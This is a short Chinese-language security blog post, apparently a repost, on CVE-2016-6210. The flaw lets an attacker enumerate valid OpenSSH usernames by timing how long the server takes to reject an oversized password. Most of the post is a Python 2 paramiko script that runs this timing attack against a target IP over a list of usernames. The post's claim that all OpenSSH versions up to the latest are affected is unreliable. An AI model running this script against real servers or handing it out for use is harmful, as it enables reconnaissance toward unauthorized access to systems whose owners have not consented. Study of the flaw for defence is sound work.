OpenSSH利用处理畸形长度密码造成的时间差,枚举系统用户(CVE20166210)

受影响版本:

opensshd(< =最新版本)

CVE-2016-6210

漏洞描述:


当我们使用ssh客户端去连接服务端的时候,如果向服务端发送一个大于10KB的密码,由于OpenSSH服务端会对user:password的组合,使用加密算法SHA256/SHA512进行加密。
如果我们传输的是一个不存在的用户名,那么就不会进入sha256(user,password)加密流程,如果用户名存在,服务器将会针对这个10KB大的密码进行SHA256的加密,这里就会产生时间差。

测试脚本:

import paramiko 
import time
import sys
from fileutils import FileUtils

def get_user(ip,user):

    p='A'*50000 
    ssh = paramiko.SSHClient() 
    starttime=time.clock() 
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
    try: 
        ssh.connect(ip, username=user, password=p) 
    except: 
        endtime=time.clock()
    
    total=endtime-starttime 
    return (total) 
        
if __name__ == '__main__':
    ip = sys.argv[1]
    for user in FileUtils.getLines('user.lst'):
        try:
            i = get_user(ip,user)
        except Exception,e:
            print str(e)
        if i > 5.0:
            print '%s : %s : %s found' % (ip , user,i)
        else:
            print '%s : %s : %s no found' % (ip,user,i)

原文地址:https://www.cnblogs.com/persuit/p/5691259.html